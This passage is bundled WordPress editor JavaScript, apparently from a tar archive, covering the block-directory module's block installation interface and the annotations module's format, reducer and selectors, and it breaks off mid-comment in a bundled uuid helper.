[/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-directory-downloadable-block-list-item__desc", children: !!statusText ? statusText : (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(description) }), isInstallable && !(isInstalled || isInstalling) && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { children: (0,external_wp_i18n_namespaceObject.__)('Install block') })] })] })] }) }); } /* harmony default export */ const downloadable_block_list_item = (DownloadableBlockListItem); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-list/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const noop = () => {}; function DownloadableBlocksList({ items, onHover = noop, onSelect }) { const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); if (!items.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Composite, { role: "listbox", className: "block-directory-downloadable-blocks-list", "aria-label": (0,external_wp_i18n_namespaceObject.__)('Blocks available for install'), children: items.map(item => { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_list_item, { onClick: () => { // Check if the block is registered (`getBlockType` // will return an object). If so, insert the block. // This prevents installing existing plugins. if ((0,external_wp_blocks_namespaceObject.getBlockType)(item.name)) { onSelect(item); } else { installBlockType(item).then(success => { if (success) { onSelect(item); } }); } onHover(null); }, onHover: onHover, item: item }, item.id); }) }); } /* harmony default export */ const downloadable_blocks_list = (DownloadableBlocksList); ;// external ["wp","a11y"] const external_wp_a11y_namespaceObject = window["wp"]["a11y"]; ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/inserter-panel.js /** * WordPress dependencies */ function DownloadableBlocksInserterPanel({ children, downloadableItems, hasLocalBlocks }) { const count = downloadableItems.length; (0,external_wp_element_namespaceObject.useEffect)(() => { (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of available blocks. */ (0,external_wp_i18n_namespaceObject._n)('%d additional block is available to install.', '%d additional blocks are available to install.', count), count)); }, [count]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [!hasLocalBlocks && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)('No results available from your installed blocks.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-downloadable-blocks-panel__header", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "block-directory-downloadable-blocks-panel__title", children: (0,external_wp_i18n_namespaceObject.__)('Available to install') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__description", children: (0,external_wp_i18n_namespaceObject.__)('Select a block to install and add it to your post.') })] }), children] })] }); } /* harmony default export */ const inserter_panel = (DownloadableBlocksInserterPanel); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/no-results.js /** * WordPress dependencies */ function DownloadableBlocksNoResults() { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__no-results", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)('No results found.') }) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__tips", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Tip, { children: [(0,external_wp_i18n_namespaceObject.__)('Interested in creating your own block?'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("br", {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.wordpress.org/block-editor/", children: [(0,external_wp_i18n_namespaceObject.__)('Get started here'), "."] })] }) })] }); } /* harmony default export */ const no_results = (DownloadableBlocksNoResults); ;// ./node_modules/@wordpress/block-directory/build-module/components/downloadable-blocks-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const downloadable_blocks_panel_EMPTY_ARRAY = []; const useDownloadableBlocks = filterValue => (0,external_wp_data_namespaceObject.useSelect)(select => { const { getDownloadableBlocks, isRequestingDownloadableBlocks, getInstalledBlockTypes } = select(store); const hasPermission = select(external_wp_coreData_namespaceObject.store).canUser('read', 'block-directory/search'); let downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY; if (hasPermission) { downloadableBlocks = getDownloadableBlocks(filterValue); // Filter out blocks that are already installed. const installedBlockTypes = getInstalledBlockTypes(); const installableBlocks = downloadableBlocks.filter(({ name }) => { // Check if the block has just been installed, in which case it // should still show in the list to avoid suddenly disappearing. // `installedBlockTypes` only returns blocks stored in state // immediately after installation, not all installed blocks. const isJustInstalled = installedBlockTypes.some(blockType => blockType.name === name); const isPreviouslyInstalled = (0,external_wp_blocks_namespaceObject.getBlockType)(name); return isJustInstalled || !isPreviouslyInstalled; }); // Keep identity of the `downloadableBlocks` array if nothing was filtered out if (installableBlocks.length !== downloadableBlocks.length) { downloadableBlocks = installableBlocks; } // Return identical empty array when there are no blocks if (downloadableBlocks.length === 0) { downloadableBlocks = downloadable_blocks_panel_EMPTY_ARRAY; } } return { hasPermission, downloadableBlocks, isLoading: isRequestingDownloadableBlocks(filterValue) }; }, [filterValue]); function DownloadableBlocksPanel({ onSelect, onHover, hasLocalBlocks, isTyping, filterValue }) { const { hasPermission, downloadableBlocks, isLoading } = useDownloadableBlocks(filterValue); if (hasPermission === undefined || isLoading || isTyping) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [hasPermission && !hasLocalBlocks && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "block-directory-downloadable-blocks-panel__no-local", children: (0,external_wp_i18n_namespaceObject.__)('No results available from your installed blocks.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-inserter__quick-inserter-separator" })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-downloadable-blocks-panel has-blocks-loading", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) })] }); } if (false === hasPermission) { if (!hasLocalBlocks) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results, {}); } return null; } if (downloadableBlocks.length === 0) { return hasLocalBlocks ? null : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(no_results, {}); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_panel, { downloadableItems: downloadableBlocks, hasLocalBlocks: hasLocalBlocks, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_blocks_list, { items: downloadableBlocks, onSelect: onSelect, onHover: onHover }) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/inserter-menu-downloadable-blocks-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function InserterMenuDownloadableBlocksPanel() { const [debouncedFilterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)(''); const debouncedSetFilterValue = (0,external_wp_compose_namespaceObject.debounce)(setFilterValue, 400); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__unstableInserterMenuExtension, { children: ({ onSelect, onHover, filterValue, hasItems }) => { if (debouncedFilterValue !== filterValue) { debouncedSetFilterValue(filterValue); } if (!debouncedFilterValue) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DownloadableBlocksPanel, { onSelect: onSelect, onHover: onHover, filterValue: debouncedFilterValue, hasLocalBlocks: hasItems, isTyping: filterValue !== debouncedFilterValue }); } }); } /* harmony default export */ const inserter_menu_downloadable_blocks_panel = (InserterMenuDownloadableBlocksPanel); ;// ./node_modules/@wordpress/block-directory/build-module/components/compact-list/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function CompactList({ items }) { if (!items.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { className: "block-directory-compact-list", children: items.map(({ icon, id, title, author }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "block-directory-compact-list__item", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(downloadable_block_icon, { icon: icon, title: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-directory-compact-list__item-details", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-title", children: title }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-directory-compact-list__item-author", children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: Name of the block author. */ (0,external_wp_i18n_namespaceObject.__)('By %s'), author) })] })] }, id)) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/installed-blocks-pre-publish-panel/index.js /** * WordPress dependencies */ /** * Internal dependencies */ function InstalledBlocksPrePublishPanel() { const newBlockTypes = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).getNewBlockTypes(), []); if (!newBlockTypes.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_editor_namespaceObject.PluginPrePublishPanel, { title: (0,external_wp_i18n_namespaceObject.sprintf)( // translators: %d: number of blocks (number). (0,external_wp_i18n_namespaceObject._n)('Added: %d block', 'Added: %d blocks', newBlockTypes.length), newBlockTypes.length), initialOpen: true, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { className: "installed-blocks-pre-publish-panel__copy", children: (0,external_wp_i18n_namespaceObject._n)('The following block has been added to your site.', 'The following blocks have been added to your site.', newBlockTypes.length) }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactList, { items: newBlockTypes })] }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/install-button.js /** * WordPress dependencies */ /** * Internal dependencies */ function InstallButton({ attributes, block, clientId }) { const isInstallingBlock = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isInstalling(block.id), [block.id]); const { installBlockType } = (0,external_wp_data_namespaceObject.useDispatch)(store); const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, onClick: () => installBlockType(block).then(success => { if (success) { const blockType = (0,external_wp_blocks_namespaceObject.getBlockType)(block.name); const [originalBlock] = (0,external_wp_blocks_namespaceObject.parse)(attributes.originalContent); if (originalBlock && blockType) { replaceBlock(clientId, (0,external_wp_blocks_namespaceObject.createBlock)(blockType.name, originalBlock.attributes, originalBlock.innerBlocks)); } } }), accessibleWhenDisabled: true, disabled: isInstallingBlock, isBusy: isInstallingBlock, variant: "primary", children: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Install %s'), block.title) }); } ;// ./node_modules/@wordpress/block-directory/build-module/plugins/get-install-missing/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const getInstallMissing = OriginalComponent => props => { const { originalName } = props.attributes; // Disable reason: This is a valid component, but it's mistaken for a callback. // eslint-disable-next-line react-hooks/rules-of-hooks const { block, hasPermission } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getDownloadableBlocks } = select(store); const blocks = getDownloadableBlocks('block:' + originalName).filter(({ name }) => originalName === name); return { hasPermission: select(external_wp_coreData_namespaceObject.store).canUser('read', 'block-directory/search'), block: blocks.length && blocks[0] }; }, [originalName]); // The user can't install blocks, or the block isn't available for download. if (!hasPermission || !block) { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(OriginalComponent, { ...props }); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ModifiedWarning, { ...props, originalBlock: block }); }; const ModifiedWarning = ({ originalBlock, ...props }) => { const { originalName, originalUndelimitedContent, clientId } = props.attributes; const { replaceBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store); const convertToHTML = () => { replaceBlock(props.clientId, (0,external_wp_blocks_namespaceObject.createBlock)('core/html', { content: originalUndelimitedContent })); }; const hasContent = !!originalUndelimitedContent; const hasHTMLBlock = (0,external_wp_data_namespaceObject.useSelect)(select => { const { canInsertBlockType, getBlockRootClientId } = select(external_wp_blockEditor_namespaceObject.store); return canInsertBlockType('core/html', getBlockRootClientId(clientId)); }, [clientId]); let messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Your site doesn’t include support for the %s block. You can try installing the block or remove it entirely.'), originalBlock.title || originalName); const actions = [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InstallButton, { block: originalBlock, attributes: props.attributes, clientId: props.clientId }, "install")]; if (hasContent && hasHTMLBlock) { messageHTML = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: block name */ (0,external_wp_i18n_namespaceObject.__)('Your site doesn’t include support for the %s block. You can try installing the block, convert it to a Custom HTML block, or remove it entirely.'), originalBlock.title || originalName); actions.push(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, onClick: convertToHTML, variant: "tertiary", children: (0,external_wp_i18n_namespaceObject.__)('Keep as HTML') }, "convert")); } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)(), children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { actions: actions, children: messageHTML }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.RawHTML, { children: originalUndelimitedContent })] }); }; /* harmony default export */ const get_install_missing = (getInstallMissing); ;// ./node_modules/@wordpress/block-directory/build-module/plugins/index.js /** * WordPress dependencies */ /** * Internal dependencies */ (0,external_wp_plugins_namespaceObject.registerPlugin)('block-directory', { // The icon is explicitly set to undefined to prevent PluginPrePublishPanel // from rendering the fallback icon pluginIcon. icon: undefined, render() { return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AutoBlockUninstaller, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(inserter_menu_downloadable_blocks_panel, {}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(InstalledBlocksPrePublishPanel, {})] }); } }); (0,external_wp_hooks_namespaceObject.addFilter)('blocks.registerBlockType', 'block-directory/fallback', (settings, name) => { if (name !== 'core/missing') { return settings; } settings.edit = get_install_missing(settings.edit); return settings; }); ;// ./node_modules/@wordpress/block-directory/build-module/index.js /** * Internal dependencies */ (window.wp = window.wp || {}).blockDirectory = __webpack_exports__; /******/ })() ; annotations.js 0000664 00000055447 15061233506 0007461 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { store: () => (/* reexport */ store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { __experimentalGetAllAnnotationsForBlock: () => (__experimentalGetAllAnnotationsForBlock), __experimentalGetAnnotations: () => (__experimentalGetAnnotations), __experimentalGetAnnotationsForBlock: () => (__experimentalGetAnnotationsForBlock), __experimentalGetAnnotationsForRichText: () => (__experimentalGetAnnotationsForRichText) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { __experimentalAddAnnotation: () => (__experimentalAddAnnotation), __experimentalRemoveAnnotation: () => (__experimentalRemoveAnnotation), __experimentalRemoveAnnotationsBySource: () => (__experimentalRemoveAnnotationsBySource), __experimentalUpdateAnnotationRange: () => (__experimentalUpdateAnnotationRange) }); ;// external ["wp","richText"] const external_wp_richText_namespaceObject = window["wp"]["richText"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// ./node_modules/@wordpress/annotations/build-module/store/constants.js /** * The identifier for the data store. * * @type {string} */ const STORE_NAME = 'core/annotations'; ;// ./node_modules/@wordpress/annotations/build-module/format/annotation.js /** * WordPress dependencies */ const FORMAT_NAME = 'core/annotation'; const ANNOTATION_ATTRIBUTE_PREFIX = 'annotation-text-'; /** * Internal dependencies */ /** * Applies given annotations to the given record. * * @param {Object} record The record to apply annotations to. * @param {Array} annotations The annotation to apply. * @return {Object} A record with the annotations applied. */ function applyAnnotations(record, annotations = []) { annotations.forEach(annotation => { let { start, end } = annotation; if (start > record.text.length) { start = record.text.length; } if (end > record.text.length) { end = record.text.length; } const className = ANNOTATION_ATTRIBUTE_PREFIX + annotation.source; const id = ANNOTATION_ATTRIBUTE_PREFIX + annotation.id; record = (0,external_wp_richText_namespaceObject.applyFormat)(record, { type: FORMAT_NAME, attributes: { className, id } }, start, end); }); return record; } /** * Removes annotations from the given record. * * @param {Object} record Record to remove annotations from. * @return {Object} The cleaned record. */ function removeAnnotations(record) { return removeFormat(record, 'core/annotation', 0, record.text.length); } /** * Retrieves the positions of annotations inside an array of formats. * * @param {Array} formats Formats with annotations in there. * @return {Object} ID keyed positions of annotations. */ function retrieveAnnotationPositions(formats) { const positions = {}; formats.forEach((characterFormats, i) => { characterFormats = characterFormats || []; characterFormats = characterFormats.filter(format => format.type === FORMAT_NAME); characterFormats.forEach(format => { let { id } = format.attributes; id = id.replace(ANNOTATION_ATTRIBUTE_PREFIX, ''); if (!positions.hasOwnProperty(id)) { positions[id] = { start: i }; } // Annotations refer to positions between characters. // Formats refer to the character themselves. // So we need to adjust for that here. positions[id].end = i + 1; }); }); return positions; } /** * Updates annotations in the state based on positions retrieved from RichText. * * @param {Array} annotations The annotations that are currently applied. * @param {Array} positions The current positions of the given annotations. * @param {Object} actions * @param {Function} actions.removeAnnotation Function to remove an annotation from the state. * @param {Function} actions.updateAnnotationRange Function to update an annotation range in the state. */ function updateAnnotationsWithPositions(annotations, positions, { removeAnnotation, updateAnnotationRange }) { annotations.forEach(currentAnnotation => { const position = positions[currentAnnotation.id]; // If we cannot find an annotation, delete it. if (!position) { // Apparently the annotation has been removed, so remove it from the state: // Remove... removeAnnotation(currentAnnotation.id); return; } const { start, end } = currentAnnotation; if (start !== position.start || end !== position.end) { updateAnnotationRange(currentAnnotation.id, position.start, position.end); } }); } const annotation = { name: FORMAT_NAME, title: (0,external_wp_i18n_namespaceObject.__)('Annotation'), tagName: 'mark', className: 'annotation-text', attributes: { className: 'class', id: 'id' }, edit() { return null; }, __experimentalGetPropsForEditableTreePreparation(select, { richTextIdentifier, blockClientId }) { return { annotations: select(STORE_NAME).__experimentalGetAnnotationsForRichText(blockClientId, richTextIdentifier) }; }, __experimentalCreatePrepareEditableTree({ annotations }) { return (formats, text) => { if (annotations.length === 0) { return formats; } let record = { formats, text }; record = applyAnnotations(record, annotations); return record.formats; }; }, __experimentalGetPropsForEditableTreeChangeHandler(dispatch) { return { removeAnnotation: dispatch(STORE_NAME).__experimentalRemoveAnnotation, updateAnnotationRange: dispatch(STORE_NAME).__experimentalUpdateAnnotationRange }; }, __experimentalCreateOnChangeEditableValue(props) { return formats => { const positions = retrieveAnnotationPositions(formats); const { removeAnnotation, updateAnnotationRange, annotations } = props; updateAnnotationsWithPositions(annotations, positions, { removeAnnotation, updateAnnotationRange }); }; } }; ;// ./node_modules/@wordpress/annotations/build-module/format/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const { name: format_name, ...settings } = annotation; (0,external_wp_richText_namespaceObject.registerFormatType)(format_name, settings); ;// external ["wp","hooks"] const external_wp_hooks_namespaceObject = window["wp"]["hooks"]; ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// ./node_modules/@wordpress/annotations/build-module/block/index.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Adds annotation className to the block-list-block component. * * @param {Object} OriginalComponent The original BlockListBlock component. * @return {Object} The enhanced component. */ const addAnnotationClassName = OriginalComponent => { return (0,external_wp_data_namespaceObject.withSelect)((select, { clientId, className }) => { const annotations = select(STORE_NAME).__experimentalGetAnnotationsForBlock(clientId); return { className: annotations.map(annotation => { return 'is-annotated-by-' + annotation.source; }).concat(className).filter(Boolean).join(' ') }; })(OriginalComponent); }; (0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockListBlock', 'core/annotations', addAnnotationClassName); ;// ./node_modules/@wordpress/annotations/build-module/store/reducer.js /** * Filters an array based on the predicate, but keeps the reference the same if * the array hasn't changed. * * @param {Array} collection The collection to filter. * @param {Function} predicate Function that determines if the item should stay * in the array. * @return {Array} Filtered array. */ function filterWithReference(collection, predicate) { const filteredCollection = collection.filter(predicate); return collection.length === filteredCollection.length ? collection : filteredCollection; } /** * Creates a new object with the same keys, but with `callback()` called as * a transformer function on each of the values. * * @param {Object} obj The object to transform. * @param {Function} callback The function to transform each object value. * @return {Array} Transformed object. */ const mapValues = (obj, callback) => Object.entries(obj).reduce((acc, [key, value]) => ({ ...acc, [key]: callback(value) }), {}); /** * Verifies whether the given annotations is a valid annotation. * * @param {Object} annotation The annotation to verify. * @return {boolean} Whether the given annotation is valid. */ function isValidAnnotationRange(annotation) { return typeof annotation.start === 'number' && typeof annotation.end === 'number' && annotation.start <= annotation.end; } /** * Reducer managing annotations. * * @param {Object} state The annotations currently shown in the editor. * @param {Object} action Dispatched action. * * @return {Array} Updated state. */ function annotations(state = {}, action) { var _state$blockClientId; switch (action.type) { case 'ANNOTATION_ADD': const blockClientId = action.blockClientId; const newAnnotation = { id: action.id, blockClientId, richTextIdentifier: action.richTextIdentifier, source: action.source, selector: action.selector, range: action.range }; if (newAnnotation.selector === 'range' && !isValidAnnotationRange(newAnnotation.range)) { return state; } const previousAnnotationsForBlock = (_state$blockClientId = state?.[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : []; return { ...state, [blockClientId]: [...previousAnnotationsForBlock, newAnnotation] }; case 'ANNOTATION_REMOVE': return mapValues(state, annotationsForBlock => { return filterWithReference(annotationsForBlock, annotation => { return annotation.id !== action.annotationId; }); }); case 'ANNOTATION_UPDATE_RANGE': return mapValues(state, annotationsForBlock => { let hasChangedRange = false; const newAnnotations = annotationsForBlock.map(annotation => { if (annotation.id === action.annotationId) { hasChangedRange = true; return { ...annotation, range: { start: action.start, end: action.end } }; } return annotation; }); return hasChangedRange ? newAnnotations : annotationsForBlock; }); case 'ANNOTATION_REMOVE_SOURCE': return mapValues(state, annotationsForBlock => { return filterWithReference(annotationsForBlock, annotation => { return annotation.source !== action.source; }); }); } return state; } /* harmony default export */ const reducer = (annotations); ;// ./node_modules/@wordpress/annotations/build-module/store/selectors.js /** * WordPress dependencies */ /** * Shared reference to an empty array for cases where it is important to avoid * returning a new array reference on every invocation, as in a connected or * other pure component which performs `shouldComponentUpdate` check on props. * This should be used as a last resort, since the normalized data should be * maintained by the reducer result in state. * * @type {Array} */ const EMPTY_ARRAY = []; /** * Returns the annotations for a specific client ID. * * @param {Object} state Editor state. * @param {string} clientId The ID of the block to get the annotations for. * * @return {Array} The annotations applicable to this block. */ const __experimentalGetAnnotationsForBlock = (0,external_wp_data_namespaceObject.createSelector)((state, blockClientId) => { var _state$blockClientId; return ((_state$blockClientId = state?.[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : []).filter(annotation => { return annotation.selector === 'block'; }); }, (state, blockClientId) => { var _state$blockClientId2; return [(_state$blockClientId2 = state?.[blockClientId]) !== null && _state$blockClientId2 !== void 0 ? _state$blockClientId2 : EMPTY_ARRAY]; }); function __experimentalGetAllAnnotationsForBlock(state, blockClientId) { var _state$blockClientId3; return (_state$blockClientId3 = state?.[blockClientId]) !== null && _state$blockClientId3 !== void 0 ? _state$blockClientId3 : EMPTY_ARRAY; } /** * Returns the annotations that apply to the given RichText instance. * * Both a blockClientId and a richTextIdentifier are required. This is because * a block might have multiple `RichText` components. This does mean that every * block needs to implement annotations itself. * * @param {Object} state Editor state. * @param {string} blockClientId The client ID for the block. * @param {string} richTextIdentifier Unique identifier that identifies the given RichText. * @return {Array} All the annotations relevant for the `RichText`. */ const __experimentalGetAnnotationsForRichText = (0,external_wp_data_namespaceObject.createSelector)((state, blockClientId, richTextIdentifier) => { var _state$blockClientId4; return ((_state$blockClientId4 = state?.[blockClientId]) !== null && _state$blockClientId4 !== void 0 ? _state$blockClientId4 : []).filter(annotation => { return annotation.selector === 'range' && richTextIdentifier === annotation.richTextIdentifier; }).map(annotation => { const { range, ...other } = annotation; return { ...range, ...other }; }); }, (state, blockClientId) => { var _state$blockClientId5; return [(_state$blockClientId5 = state?.[blockClientId]) !== null && _state$blockClientId5 !== void 0 ? _state$blockClientId5 : EMPTY_ARRAY]; }); /** * Returns all annotations in the editor state. * * @param {Object} state Editor state. * @return {Array} All annotations currently applied. */ function __experimentalGetAnnotations(state) { return Object.values(state).flat(); } ;// ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/native.js const randomUUID = typeof crypto !== 'undefined' && crypto.randomUUID && crypto.randomUUID.bind(crypto); /* harmony default export */ const esm_browser_native = ({ randomUUID }); ;// ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/rng.js // Unique ID creation requires a high quality random # generator. In the browser we therefore // require the crypto API and do not support built-in fallback to lower quality random number // generators (like Math.random()). let getRandomValues; const rnds8 = new Uint8Array(16); function rng() { // lazy load so that environments that need to polyfill have a chance to do so if (!getRandomValues) { // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation. getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto); if (!getRandomValues) { throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported'); } } return getRandomValues(rnds8); } ;// ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/stringify.js /** * Convert array of 16 byte values to UUID string format of the form: * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX */ const byteToHex = []; for (let i = 0; i < 256; ++i) { byteToHex.push((i + 0x100).toString(16).slice(1)); } function unsafeStringify(arr, offset = 0) { // Note: Be careful editing this code! It's been tuned for performance // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434 return byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]; } function stringify(arr, offset = 0) { const uuid = unsafeStringify(arr, offset); // Consistency check for valid UUID. If this throws, it's likely due to one // of the following: // - One or more input array values don't map to a hex octet (leading to // 